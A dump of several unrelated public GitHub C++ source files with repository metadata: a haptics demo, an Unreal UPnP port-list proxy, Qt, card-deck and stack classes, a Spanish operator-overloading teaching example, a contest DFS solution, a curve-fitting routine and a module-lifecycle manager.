] | permissive | mahilab/Syntacts | 34689a71ae32c3b170ba60dda941dbf29806112a | 0056e5005c4a5d6e321d00efc6dd7f42c68a759b | refs/heads/master | 2022-11-01T02:34:44.536964 | 2022-04-15T00:46:03 | 2022-04-15T00:46:03 | 170,136,338 | 63 | 8 | MIT | 2021-08-02T20:11:47 | 2019-02-11T13:48:37 | C++ | UTF-8 | C++ | false | false | 169 | cpp | main.cpp | #include <syntacts>
using namespace tact;
int main(int argc, char const *argv[])
{
Session s;
s.open();
s.playAll(Sine(440));
sleep(2);
return 0;
} |
8172455bbb0fbf11084322ff04a73be38262f5bc | ee341e1d20848438c2b130c7d0654af864074fa6 | /SampleProject/Plugins/SimpleUPNP/Source/SimpleUPNP/Classes/GetPortListCallbackProxy.cpp | 48793b13668174f6d48cd98dae3c00784807667e | [] | no_license | woodsshin/UPNPSample | c74379e24741b814ddf790a5a2f96ed7fc746a24 | 5bed850952e3d4bfb2625101128e28a9967a7d7b | refs/heads/master | 2023-06-22T14:29:03.384469 | 2023-06-09T08:52:19 | 2023-06-09T08:52:19 | 90,494,467 | 2 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 4,042 | cpp | GetPortListCallbackProxy.cpp | // Copyright 2017-present WoodsShin, Inc. All Rights Reserved.
#include "GetPortListCallbackProxy.h"
#include "Engine/Engine.h"
#include "Engine/World.h"
#include "TimerManager.h"
#include "UPNPModule.h"
//////////////////////////////////////////////////////////////////////////
// UGetPortListCallbackProxy
UGetPortListCallbackProxy::UGetPortListCallbackProxy(const FObjectInitializer& ObjectInitializer)
: Super(ObjectInitializer)
{
}
void UGetPortListCallbackProxy::Activate()
{
// CachedSocketSubsystem(FIPv4Endpoint) is null in constructor. It should be initialized in it.
UUPNPModule* UPNPModule = Cast<UUPNPModule>(UUPNPModule::StaticClass()->GetDefaultObject());
DiscoverDevices = UPNPModule->GetDiscoverDevices();
if (DiscoverDevices.IsValid())
{
DiscoverDevicesResultDelegate = FDiscoverDevicesResultDelegate::CreateUObject(this, &UGetPortListCallbackProxy::OnGetPort);
DiscoverDevicesResultDelegateHandle = DiscoverDevices->AddDiscoverDevicesResultDelegate_Handle(DiscoverDevicesResultDelegate);
// Using timer instead of calling delegator in thread
if (World)
{
World->GetTimerManager().SetTimer(
DiscoverDevices->GetTimerHandle(),
this,
&UGetPortListCallbackProxy::CheckTimeOut,
DiscoverDevices->GetTimeOutInterval(),
true);
}
if (Refresh)
{
DiscoverDevices->ResetRetryCount();
// send IGD information exist device location
if (!Location.IsEmpty())
{
// refresh only selected device
if (!DiscoverDevices->SendValidIGDByLocation(Location, false))
{
OnGetPort(false, ESimpleUPNPErrorCode::GET_DEVICE_LIST_FAILED);
}
}
else if (!DiscoverDevices->SendSearchRequest(AllowRetry, OnlySearchDevices))
{
OnGetPort(false, ESimpleUPNPErrorCode::GET_DEVICE_LIST_FAILED);
}
}
else
{
if (!DiscoverDevices->SendOnlyGetGenericPortMappingEntry(AllowRetry))
{
OnGetPort(false, ESimpleUPNPErrorCode::GET_GENERIC_PORTMAPPING_ENTRY_FAILED);
}
}
}
else
{
OnFailure.Broadcast(TArray<FSimpleUPNPInfo>(), ESimpleUPNPErrorCode::IGD_INVALID_DEVICE_LIST);
}
}
void UGetPortListCallbackProxy::CheckTimeOut()
{
if (DiscoverDevices.IsValid() & AllowRetry)
{
if (DiscoverDevices->IsSetTimer())
{
/** Retry request */
DiscoverDevices->RetryRequest(ESimpleUPNPErrorCode::REQUEST_TIMEOUT);
}
}
else
{
if (OnlySearchDevices)
{
OnGetPort(true, ESimpleUPNPErrorCode::SUCCESS);
}
else
{
OnGetPort(false, ESimpleUPNPErrorCode::REQUEST_TIMEOUT);
}
}
}
void UGetPortListCallbackProxy::OnGetPort(bool bWasSuccessful, const ESimpleUPNPErrorCode& InErrorCode)
{
RemoveDelegate();
if (DiscoverDevices.IsValid())
{
if (bWasSuccessful)
{
OnSuccess.Broadcast(DiscoverDevices->GetPortList(), InErrorCode);
}
else
{
OnFailure.Broadcast(TArray<FSimpleUPNPInfo>(), InErrorCode);
}
}
else
{
OnFailure.Broadcast(TArray<FSimpleUPNPInfo>(), ESimpleUPNPErrorCode::IGD_INVALID_DEVICE_LIST);
}
}
void UGetPortListCallbackProxy::RemoveDelegate()
{
if (DiscoverDevices.IsValid() && DiscoverDevicesResultDelegateHandle.IsValid())
{
// clear timer
if (World && DiscoverDevices->GetTimerHandle().IsValid())
{
World->GetTimerManager().ClearTimer(DiscoverDevices->GetTimerHandle());
}
// clear delegator
DiscoverDevices->ClearDiscoverDevicesResultDelegate_Handle(DiscoverDevicesResultDelegateHandle);
}
}
void UGetPortListCallbackProxy::BeginDestroy()
{
RemoveDelegate();
Super::BeginDestroy();
}
UGetPortListCallbackProxy* UGetPortListCallbackProxy::CreateProxyObjectForGetPortList(UObject* WorldContextObject, bool InRefresh, bool InAllowRetry, bool InOnlySearchDevices, FString InLocation)
{
UGetPortListCallbackProxy* Proxy = NewObject<UGetPortListCallbackProxy>();
Proxy->SetFlags(RF_StrongRefOnFrame);
Proxy->Refresh = InRefresh;
Proxy->AllowRetry = InAllowRetry;
Proxy->OnlySearchDevices = InOnlySearchDevices;
Proxy->Location = InLocation;
Proxy->World = GEngine->GetWorldFromContextObject(WorldContextObject, EGetWorldErrorMode::ReturnNull);
return Proxy;
} |
ce1d743cf7cfaed67fa791c9a3a3144c10066b31 | 5778fbaf6b21ee283a1079564290c13eff6ecff3 | /redis-desktop-manager/include/models/items/ItemWithNaturalSort.h | da5e51d8e0f4df5897a06001fe61e3fe1a1aaa0c | [
"MIT"
] | permissive | dolfly/RedisDesktopManager | 99b69541a89bf10b414a59aea58951753917456d | f63f5beb42c2fd0f40b85e1251d2d888ec76a900 | refs/heads/master | 2021-01-18T15:19:48.866237 | 2013-12-26T09:42:37 | 2013-12-26T09:42:37 | 15,457,389 | 0 | 0 | MIT | 2020-06-16T05:30:13 | 2013-12-26T17:43:14 | C++ | UTF-8 | C++ | false | false | 342 | h | ItemWithNaturalSort.h | #pragma once
#include <QStandardItem>
class ItemWithNaturalSort : public QStandardItem
{
public:
ItemWithNaturalSort();
ItemWithNaturalSort(const QIcon & icon, const QString & text);
bool operator<(const QStandardItem & second) const;
static bool lessThan(const QString &s1, const QString &s2);
};
|
7476cfbc6d7fea5d84d13c67edd76ab69a92e6d6 | 0bcfca13028126a2924e67d25ba541d746f002ec | /Tema_2/T_2_7/main.cpp | db5a5257230df590c43fc05e6116fec5ad9c2bc0 | [] | no_license | POOUJA/teoria | 1be824afb326302605dec45cec0a2ff8e0f9a1d8 | 7cf89985981f523328cf0338ba1963fa1570da6a | refs/heads/master | 2023-03-30T12:41:52.859593 | 2023-03-21T10:12:37 | 2023-03-21T10:12:37 | 42,666,840 | 7 | 24 | null | 2019-02-27T16:55:31 | 2015-09-17T16:12:09 | C++ | UTF-8 | C++ | false | false | 4,988 | cpp | main.cpp | /**
* @brief Ejemplo T_2_7 de teorรญa: Operadores con Entrada de Facebook
* @file main.cpp
* @author Victor M. Rivas Santos <vrivas@ujaen.es>
* @date 27 de septiembre de 2015, 11:00
*/
#include <iostream>
#include <cstdlib>
#include "EntradaEnFacebook.h"
/**
* @brief Funciรณn principal
* @argc Nรบmero de argumentos pasados por lรญnea de รณrdenes
* @argc Caractares pasados como argumentos por lรญnea de รณrdenes
* @return 0 si todo funciona bien; distinto de 0 en otro caso.
*/
int main ( int argc, char** argv )
{ std::cout << "Ejemplo de teorรญa T_2_7: Sobrecarga de operadores" << std::endl;
// Creamos primera entrada
EntradaEnFacebook entrada ( 1, "Hoy mi gato se ha dormido encima de la lavadora", 30);
// Aรฑadimos comentarios
entrada.AddComentario ( "Quรฉ lindo tu gato!" );
entrada.AddComentario ( "El mรญo prefiere dormir encima del sofรก" );
entrada.AddComentario ( "Ja, ja... espero que no le dรฉ por meterse dentro" );
// Ahora creamos una segunda entrada
// Prueba a cambiar el texto por otros distintos para que veas como
// efectivamente salen ordenados alfabรฉticamente
EntradaEnFacebook otraEntrada ( 2, "Mira lo que pasa: Hoy es mi cumpleaรฑos", 30 );
// Aรฑadimos comentarios
otraEntrada.AddComentario ( "Felicidades!!! Que cumplas muchos mรกs" );
otraEntrada.AddComentario ( "Desde luego, por ti no pasan los aรฑos" );
otraEntrada.AddComentario ( "Jo... anda que invitas, ya te vale." );
// Primera parte: comprobaciรณn del operador <=
std::cout << "En primer lugar comprobamos el uso del operador <=" << std::endl
<< "Para ello, comparamos las entradas y las escribimos en orden alfabรฉtico" << std::endl;
if ( entrada <= otraEntrada )
{ // Mostramos los datos almacenados empezando por la primera
std::cout << "+ Los datos de la variable entrada son: " << std::endl
<< " " << entrada.GetTexto() << std::endl;
for ( int i = 0; i < entrada.GetNumComentarios(); ++i )
{ std::cout << " - " << entrada.GetComentario(i) << std::endl;
}
std::cout << "+ Los datos de la variable otraEntrada son: " << std::endl
<< " " << otraEntrada.GetTexto() << std::endl;
for ( int i = 0; i < otraEntrada.GetNumComentarios(); ++i )
{ std::cout << " - " << otraEntrada.GetComentario(i) << std::endl;
}
}
else
{ // Mostramos los datos almacenados empezando por la segunda
std::cout << "+ Los datos de la variable otraEntrada son: " << std::endl
<< " " << otraEntrada.GetTexto() << std::endl;
for ( int i = 0; i < otraEntrada.GetNumComentarios(); ++i )
{ std::cout << " - " << otraEntrada.GetComentario(i) << std::endl;
}
std::cout << "+ Los datos de la variable entrada son: " << std::endl
<< " " << entrada.GetTexto() << std::endl;
for ( int i = 0; i < entrada.GetNumComentarios(); ++i )
{ std::cout << " - " << entrada.GetComentario(i) << std::endl;
}
}
// Segunda parte: comprobaciรณn del operador == (comparaciรณn)
std::cout << std::endl << std::endl;
std::cout << "A continuaciรณn, probamos el operador comparaciรณn." << std::endl;
EntradaEnFacebook nuevaEntrada ( 3, "Este nuevo vรญdeo de Nyan Cat no lo habรฉis visto", 30);
EntradaEnFacebook &entradaExistente = entrada; //Referencia a entrada existente
if ( nuevaEntrada == entrada )
{ // No se entra aquรญ
std::cout << "Dos entradas diferentes tienen el mismo ID y eso no puede ser..."
<< std::endl;
}
else
{ std::cout << "Las entradas " << entrada.GetId() << " y "
<< nuevaEntrada.GetId() << " son diferentes" << std::endl;
}
if ( entradaExistente == entrada)
{ std::cout << "La entrada con id " << entrada.GetId()
<< " y su referencia son la misma" << std::endl;
}
else
{ //No se entra aquรญ
std::cout << "Umm, ,debe haber un error en Matrix!" << std::endl;
}
// Tercera parte: comprobaciรณn del operador = (asignaciรณn)
std::cout << std::endl << std::endl;
std::cout << "A continuaciรณn, probamos el operador asignaciรณn." << std::endl
<< "Deben salir los datos de las dos variables exactamente iguales" << std::endl;
otraEntrada = entrada;
// Mostramos los datos de ambas y deben ser iguales
std::cout << "+ Los datos de la variable otraEntrada son " << std::endl
<< " " << otraEntrada.GetTexto() << std::endl;
for ( int i = 0; i < otraEntrada.GetNumComentarios(); ++i )
{ std::cout << " - " << otraEntrada.GetComentario(i) << std::endl;
}
std::cout << "+ Los datos de la variable entrada son: " << std::endl
<< " " << entrada.GetTexto() << std::endl;
for ( int i = 0; i < entrada.GetNumComentarios(); ++i )
{ std::cout << " - " << entrada.GetComentario(i) << std::endl;
}
return 0;
} |
8e650eb930f8cd2d62f514e04e4f9c4112a3352d | 9d017d6cd49418592dd27ed51e392b66e50a057e | /a2 online judge/bfs,dfs,djikstra/26aug/igorandhisway(tle).cpp | 992a3cdc798d3fe474ad6d39e46cdbfbdfc82a5d | [] | no_license | rv404674/CPcodes | 753113cc539f8582581a7bef8381367b82eac4ee | 0c5c1a7c6d5ce09261e69dc3f56dc47b19617863 | refs/heads/master | 2021-08-08T14:25:03.747945 | 2017-11-10T14:16:59 | 2017-11-10T14:16:59 | 110,252,715 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 1,791 | cpp | igorandhisway(tle).cpp |
#include<iostream>
#include<iomanip>
#include<sstream>
#include<cstdio>
#include<cmath>
#include<cstring>
#include<string>
#include<vector>
#include<list>
#include<set>
#include<map>
#include<queue>
#include<stack>
#include<utility>
#include<limits.h>
#include<functional>
#include<algorithm>
using namespace std;
int xx[8]={-1,-1,-1,0,0,1,1,1};
int yy[8]={-1,0,1,-1,1,-1,0,1};
int dx[4]={-1,0,0,1};
int dy[4]={0,1,-1,0};
string s[4]={"up","right","left","down"};
const double pi = 3.14159265358;
#define DEBUG(x) cout << '>' << #x << ':' << x << endl;
#define DEBUGXY(x,y) cout<<#x<<":"<<x<<" "<<#y<<":"<<y<<endl;
#define MOD 1000000007
#define MAX 1e9
#define MIN -1e9
typedef long long lli;
typedef long li;
char a[1001][1001];
int visited[1001][1001];
int flag,m,n,destx,desty,srcx,srcy;
string ans;
void dfs(int i,int j,string dir,int cnt,string prevdir){
// DEBUG(i)
//DEBUG(j)
//cout<<endl;
visited[i][j]=1;
if(prevdir!=dir) {cnt+=1;}
if(i==destx && j==desty){
// cout<<"FINAL "<<cnt<<endl;
if(cnt<=2) ans="YES";
visited[i][j]=0;
return ;}
int k,x,y;
for( k=0;k<4;k++){
x=i+dx[k];y=j+dy[k];
if(visited[x][y] || a[x][y]=='*') continue;
if(x<0 || x>=m || y<0 || y>=n) continue;
if(i==srcx && j==srcy) {dfs(x,y,s[k],cnt,s[k]);}
else dfs(x,y,s[k],cnt,dir);
}
visited[i][j]=0;
//cout<<"visited[i][j]=0 "<<i<<" "<<j<<endl;
}
int main()
{
ios_base::sync_with_stdio(false);cin.tie(NULL);
ans="NO";
flag=1;
memset(visited,0,sizeof(visited[0][0]*1001*1001));
cin>>m>>n;
for(int i=0;i<m;i++)
for(int j=0;j<n;j++)
{cin>>a[i][j];
if(a[i][j]=='S') {srcx=i,srcy=j;}
else if(a[i][j]=='T') {destx=i;desty=j;}
}
dfs(srcx,srcy,"",0,"");
cout<<ans<<endl;
return 0;
}
|
c0cb21812671c42db7159660fd13ec040ffebb0f | e66b0410f33411c487abff27ffe613257b334253 | /Project1/Project1/Deck.h | c5d42f4045f5c79768986ac0f543a9d602038ac4 | [] | no_license | EnriqueVillavisencio/CIS-17C | d20354192f362010f2801db4a055bd215e46073d | f30ddfc799d81f4580e3de7fe86806020f1d4e47 | refs/heads/master | 2022-05-31T19:42:45.403138 | 2020-04-30T06:55:47 | 2020-04-30T06:55:47 | 260,135,990 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,466 | h | Deck.h | /*
* File: Deck.h
* Author: Enrique Villavisencio
*
* Created on April 29, 2020, 6:32 PM
*/
#ifndef DECK_H
#define DECK_H
#include "Card.h"
using namespace std;
class Deck
{
private:
const string RANK[13] = { "A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K" };
const char SUIT[4] = { 'S', 'D', 'C', 'H' };
const char COLOR[2] = { 'B', 'R' };
string valRank[52];
pair<char, char> suitColor[4];
deque<int>* deckIndx;
map<string, int> inputRef;
map<int, Card> deckRef;
public:
Deck();
Card getCard(int);
deque<int>* getDeck() { return deckIndx; }
void displayCard(int);
void displayCard(pair<int, bool>);
bool validateCardInput(string);
int getCardIndxFromInput(string card) { return inputRef.find(card)->second; }
};
Deck::Deck()
{
//Setting up CARD[52] for player card input reference
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 13; j++)
{
valRank[(13 * i) + j] = RANK[j] + SUIT[i];
inputRef.insert(pair<string, char>(valRank[(13 * i) + j], (13 * i) + j));
}
}
//Pair the suits with the correct colors
for (int i = 0; i < 4; i++)
{
suitColor[i] = pair<char, char>('1', '2');
if (SUIT[i] == 'C' || SUIT[i] == 'S')
suitColor[i] = make_pair(SUIT[i], COLOR[0]);
else
suitColor[i] = make_pair(SUIT[i], COLOR[1]);
}
//Create Deck Index using Deque
deckIndx = new deque<int>;
for (int i = 0; i < 52; i++)
deckIndx->push_back(i);
//Create the deck of card reference
deque<int>::iterator itr = deckIndx->begin();
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 13; j++)
{
Card* card = new Card(j, RANK[j], suitColor[i].first, suitColor[i].second);
deckRef.insert(make_pair(*itr, *card));
itr++;
}
}
}
Card Deck::getCard(int n)
{
map<int, Card>::iterator itr = deckRef.find(n);
return itr->second;
}
void Deck::displayCard(int n)
{
map<int, Card>::iterator itr = deckRef.find(n);
cout << "[" << itr->second.getRank() << ":" << itr->second.getSuit() << ":" << itr->second.getColor() << "]";
}
//Prints out the specific card
void Deck::displayCard(pair<int, bool> p)
{
if (p.second == false)
cout << "[ ? ]";
else
{
map<int, Card>::iterator itr = deckRef.find(p.first);
cout << "[" << itr->second.getRank() << ":" << itr->second.getSuit() << ":" << itr->second.getColor() << "]";
}
}
bool Deck::validateCardInput(string card)
{
for (int i = 0; i < 52; i++)
{
if (card == valRank[i])
return true;
}
return false;
}
#endif /* DECK_H */
|
60a67e599c87e55f3f6cb6fd0ff710f51d9b2706 | eb2b68c93ea54665d2638e1525e661a02fd3baca | /Interview Preparation/Interview Preparation/Stack.h | 09a9061887a37625bce47e7e0fd853ec211af078 | [] | no_license | osama-afifi/InterviewPrep | e93a4b6f477c57e59deb2eeeac06021c7a803259 | b6adde8310d9938036b8ae086ae788c423cc8da9 | refs/heads/master | 2021-06-07T07:31:18.608492 | 2017-10-25T09:33:40 | 2017-10-25T09:33:40 | 21,326,176 | 2 | 1 | null | 2017-10-25T09:33:41 | 2014-06-29T15:32:03 | C++ | UTF-8 | C++ | false | false | 683 | h | Stack.h | #include "All.h"
template<class T>
class Stack
{
private:
template<class T>
class Node
{
public:
Node* next;
T data;
Node(T vv)
{
data= vv;
}
Node()
{
}
};
Node<T> * top;
int size;
public:
Stack()
{
top = NULL;
size = 0;
}
void push( T val)
{
Node<T>* NewNode = new Node<T>(val);
NewNode->next = top;
top = NewNode;
++size;
}
T pop()
{
assert(top!=NULL);
T returnedVal = top->data;
Node<T> * temp = top;
top = top->next;
delete temp;
temp = NULL;
--size;
return returnedVal;
}
T peek()
{
assert(top!=NULL);
return top->data;;
}
bool isEmpty()
{
return (size==0);
}
int length()
{
return size;
}
};
|
003cae09eb219e4d93beade951b7d4ca8f667a81 | 5bfcd97eea9e599d42bec4201d08cd073ee3c140 | /nonlinearFit.h | cd2c2a9629da64540db9d31f77ec33c646eb69e4 | [
"MIT"
] | permissive | synergy-twinning/ekgsim | 678c92d5c34b55a4d33aa80422ee78b1b4918a30 | 2d21a91dfd4a3847129de9cb76c94729808dca46 | refs/heads/master | 2021-01-22T19:04:39.390125 | 2018-11-30T09:36:40 | 2018-11-30T09:36:40 | 85,158,288 | 5 | 0 | null | 2017-03-17T06:38:01 | 2017-03-16T05:58:23 | C++ | UTF-8 | C++ | false | false | 6,299 | h | nonlinearFit.h | /*
Copyright (c) 2017 Institute Joลพef Stefan, Jamova cesta 39, SI-1000, Ljubljana, Slovenija
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Please cite the following works (bibtex source below):
- DepolliAvbeljTrobec2008 for the simulator and simulation-based optimization
- DepolliTrobecFilipic2013 for the AMS-DEMO optimizer
- TrobecDepolliAvbelj2009 for the simulator
@article{DepolliAvbeljTrobec2008,
author = {Depolli, Matjaลพ and Avbelj, Viktor and Trobec, Roman},
title = {Computer-Simulated Alternative Modes of {U}-Wave Genesis},
journal = {Journal of Cardiovascular Electrophysiology},
volume = {19},
number = {1},
publisher = {Blackwell Publishing Inc},
issn = {1540-8167},
url = {http://dx.doi.org/10.1111/j.1540-8167.2007.00978.x},
doi = {10.1111/j.1540-8167.2007.00978.x},
pages = {84--89},
keywords = {U wave, ECG, action potential, repolarization, myocardium, computer simulation},
year = {2008}
}
@article{DepolliTrobecFilipic2013,
author = {Depolli, Matjaลพ and Trobec, Roman and Filipiฤ, Bogdan},
title = {Asynchronous master-slave parallelization of differential evolution for multiobjective optimization},
journal = {Evolutionary Computation},
volume = {21},
number = {2},
pages = {261-291},
doi = {10.1162/EVCO_a_00076},
issn = {1063-6560},
url = {http://www.mitpressjournals.org/doi/abs/10.1162/EVCO_a_00076},
year = {2013}
}
@inproceedings{TrobecDepolliAvbelj2009,
title = {Simulation of {ECG} repolarization phase with improved model of cell action potentials},
author = {Trobec, Roman and Depolli, Matja{\v{z}} and Avbelj, Viktor},
booktitle = {International Joint Conference on Biomedical Engineering Systems and Technologies},
pages = {325--332},
year = {2009},
organization = {Springer}
}
*/
#ifndef NONLINEAR_FIT_H_INCLUDED
#define NONLINEAR_FIT_H_INCLUDED
/** @file nonlinearFit.h
@brief optimization function for curve fitting
**/
#include "vectorMath.h"
// typedef std::vector<double> TFunction;
/** @fn template<class Func, class Vec> int steepestDescend(Func& f, Vec& x0, const Vec& d, double stepSize = 0.5, double epsilon = 1e-8, int iterations = 100) {
optimization function based on the steepest descend principle
@param [in] stepSize defines the starting step size, which goes down by factor 0.5, when the algorithm discovers that it is too large for further iterations
@param [in] epsilon algorithm searches until the change in solutions is smaller than epsilon
@param [in] iterations specifies the maximum number of iterations
@param [in] f price function used in optimization
@param [in,out] x0 initial solution
@param [in] d offset used to calculate the gradient of f (grad(f, x) = (f(x+d) - f(x)) / d)
Starting with a guess x0, optimize function towards target value through
the method of the steepest descend (gradient is calculated numerically
through an offset d from a given point). Result is stored in x0
@todo test optimization in a controlled environment (not on APs)
**/
template<class Func, class Vec>
int steepestDescend(Func& f, Vec& x0, const Vec& d, double stepSize = 0.5, double epsilon = 1e-8, int iterations = 100) {
// calculate gradient in x0
double dLen = 0.0;
for (size_t i = 0; i < d.size(); ++i) {
dLen += d[i] * d[i];
}
dLen = sqrt(dLen);
Vec grad = x0;
Vec oldGrad = grad;
for (size_t i = 0; i < oldGrad.size(); ++i)
oldGrad[i] = 0;
double y0 = f(x0);
// std::cout.precision(2);
// std::cout.width(7);
// std::cout.fill(' ');
// std::cout.setf(std::ios::scientific, std::ios::floatfield);
// std::cout << "y0 = " << y0 << "\n";
Vec move = d;
for (; (iterations > 0) && (y0 > epsilon); --iterations) {
// std::cout << std::scientific;
// calculate gradient in x0
// std::cout << "grad: ";
double gradLen = 0;
bool stepChange = false;
for (size_t i = 0; i < x0.size(); ++i) {
Vec x1 = x0;
if (d[i] != 0) {
x1[i] += d[i] * .001;
grad[i] = (f(x1) - y0) / (d[i] * .001);
gradLen += grad[i] * grad[i];
if (grad[i] * oldGrad[i] < 0) {
// change in gradient sign, step is too large
move[i] *= 0.5;
stepChange = true;
} else if (fabs(grad[i]) > 0.75*fabs(oldGrad[i])) {
move[i] *= 1.5;
}
// std::cout << grad[i] << " ";
} else {
grad[i] = 0;
}
}
// std::cout << "; \t";
gradLen = stepSize / sqrt(gradLen);
// is gradient ok? (is there no change of sign in gradient)
oldGrad = grad;
Vec x1 = x0;
// move in the direction of gradient
for (size_t i = 0; i < x0.size(); ++i) {
x1[i] -= stepSize * ((grad[i] > 0) ? move[i] : -move[i]);
}
double y1 = f(x1);
if (y1 < y0) {
y0 = y1;
x0 = x1;
} else {
if (!stepChange)
stepSize *= 0.5;
}
// std::cout.precision(4);
// std::cout << "y0 = " << std::fixed << y0 << ", stepSize=" << stepSize << "\n";
}
// std::cout.precision(-1);
// std::cout.unsetf(std::ios::fixed);
return iterations;
}
#endif // NONLINEAR_FIT_H_INCLUDED
|
05ad53717263c312d6a6d65dbdf69e94e95aefb3 | 4b5a631af6e3215424a26764b7b6c9d5366b68d5 | /UI/singleplayer.cpp | c70ba5d11472ab5fffa168dfa85a66afa2eddc0e | [] | no_license | adidvar/Chess-app | a02370428c121c99d124593ef9b37f6e838a8425 | e136ed2edbdb5226b34b99875d9d18d6e306ef87 | refs/heads/master | 2023-08-08T19:29:24.320021 | 2023-08-01T12:21:08 | 2023-08-01T12:21:08 | 208,478,893 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 714 | cpp | singleplayer.cpp | #include "singleplayer.h"
#include "ui_singleplayer.h"
SinglePlayer::SinglePlayer(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::SinglePlayer),
computer_(match,Color::kBlack)
{
ui->setupUi(this);
ui->board->SetMode(BoardWidget::kPlayerWhite);
connect(ui->board,&BoardWidget::EnteredTurn,this,&SinglePlayer::TurnEntered);
}
SinglePlayer::~SinglePlayer()
{
delete ui;
}
void SinglePlayer::TurnEntered(Turn inputturn)
{
match.Push(inputturn);
computer_.Start();
computer_.Wait();
std::vector<std::pair<Turn,MainAppraiser>> marks;
auto turn = computer_.GetBestTurn();
if(!turn.Valid())
return;
match.Push(turn);
ui->board->PushTurn(turn);
}
|
3904efed0d301ca6a81657089ba9732a6b5b8c0e | 04e145dd58bf6140d2785b19c14bf8b219f11c20 | /Server/src/base/ManagerModuleManager.cpp | 7b8b3f4fc74549d94fc2b10b128dbd88c1f05a0f | [] | no_license | esinple/MyFrame | 017f88eda602e2ffaa7d77e50932885e15032052 | 4d06a46adb129689cbbbceb2ed03768bd78d169e | refs/heads/master | 2021-08-30T20:18:54.970212 | 2017-12-19T09:10:45 | 2017-12-19T09:10:45 | 111,551,357 | 1 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 3,152 | cpp | ManagerModuleManager.cpp | #include "ManagerModuleManager.h"
#include "MPLogger.h"
#include "MPTimeTester.h"
#include "MPModuleFactory.h"
#define GET_MODULE_NAME(i) MPModuleFactory::GetInstance()->GetName(m_nFactoryType,i).data()
ManagerModuleManager::ManagerModuleManager(uint32_t nFactoryType, uint32_t nModuleNum)
: m_vModules(),m_nFactoryType(nFactoryType), m_nModuleNum(nModuleNum)
{
}
ManagerModuleManager::~ManagerModuleManager()
{
for (uint32_t i = 0; i < m_nModuleNum; ++i)
{
if (m_vModules[i] != nullptr)
{
delete m_vModules[i];
m_vModules[i] = nullptr;
}
}
}
bool ManagerModuleManager::Awake()
{
m_vModules.resize(m_nModuleNum);
for (uint32_t i = 0; i < m_nModuleNum; ++i)
{
//m_vModules[i] = (ManagerModule*)ManagerModule::Create(i);
m_vModules[i] = (ManagerModule*)MPModuleFactory::GetInstance()->Create(m_nFactoryType, i);
if (m_vModules[i] == nullptr)
{
MP_ERROR("Module Create [%d] Failed!", i);
return false;
}
}
if (!ModuleRely::TopologicalSort(m_vModules, m_vOrder))
{
return false;
}
for (uint32_t order = 0; order < m_nModuleNum; ++order)
{
auto index = m_vOrder[order];
auto pModule = m_vModules[index];
if (!pModule->Awake())
{
MP_ERROR("Module [%d : %s] Awake Failed!", index, GET_MODULE_NAME(index));
return false;
}
MP_INFO("Module [%d : %s] Awake Success!", index, GET_MODULE_NAME(index));
}
MP_SYSTEM("AllModule [%d] Awake Success!",m_nModuleNum);
for (uint32_t order = 0; order < m_nModuleNum; ++order)
{
auto index = m_vOrder[order];
auto pModule = m_vModules[index];
if (!pModule->AfterAwake())
{
MP_ERROR("Module [%d : %s] AfterAwake Failed!", index, GET_MODULE_NAME(index));
return false;
}
MP_INFO("Module [%d : %s] AfterAwake Success!", index, GET_MODULE_NAME(index));
}
MP_SYSTEM("AllModule [%d] AfterAwake Success!", m_nModuleNum);
return true;
}
bool ManagerModuleManager::Execute()
{
for (uint32_t index = 0; index < m_nModuleNum; ++index)
{
auto pModule = m_vModules[index];
#ifdef _DEBUG
meplay::MPTimeTester tester(GET_MODULE_NAME(index),100);
#endif
if (!pModule->Execute())
{
MP_DEBUG("Module [%d : %s] Execute Failed!", index, GET_MODULE_NAME(index));
continue;
}
}
if (0)
{
ShutDown();
}
return true;
}
bool ManagerModuleManager::ShutDown()
{
for (uint32_t order = m_nModuleNum ; order != 0 ; --order)
{
auto index = m_vOrder[order - 1];
auto pModule = m_vModules[index];
if (!pModule->BeforeShutDown())
{
MP_ERROR("Module [%d : %s] BeforeShutDown Failed!", index, GET_MODULE_NAME(index));
continue;
}
MP_INFO("Module [%d : %s] BeforeShutDown Success!", index, GET_MODULE_NAME(index));
}
MP_SYSTEM("AllModule [%d] BeforeShutDown Success!", m_nModuleNum);
for (uint32_t order = m_nModuleNum ; order != 0; --order)
{
auto index = m_vOrder[order - 1];
auto pModule = m_vModules[index];
if (!m_vModules[index]->ShutDown())
{
MP_ERROR("Module [%d : %s] ShutDown Failed!", index, GET_MODULE_NAME(index));
continue;
}
MP_INFO("Module [%d : %s] ShutDown Success!", index, GET_MODULE_NAME(index));
}
MP_SYSTEM("AllModule [%d] ShutDown Success!", m_nModuleNum);
return true;
} |
e7a2393b991bd76ebedfb60668282642efd28c5d | 5c157919e97cf85c962562cba6f14052df416cd7 | /fboss/agent/hw/bcm/oss/BcmAclStat.cpp | 6e111a34c7633c61430acede0771073f5e63c5fb | [
"BSD-3-Clause"
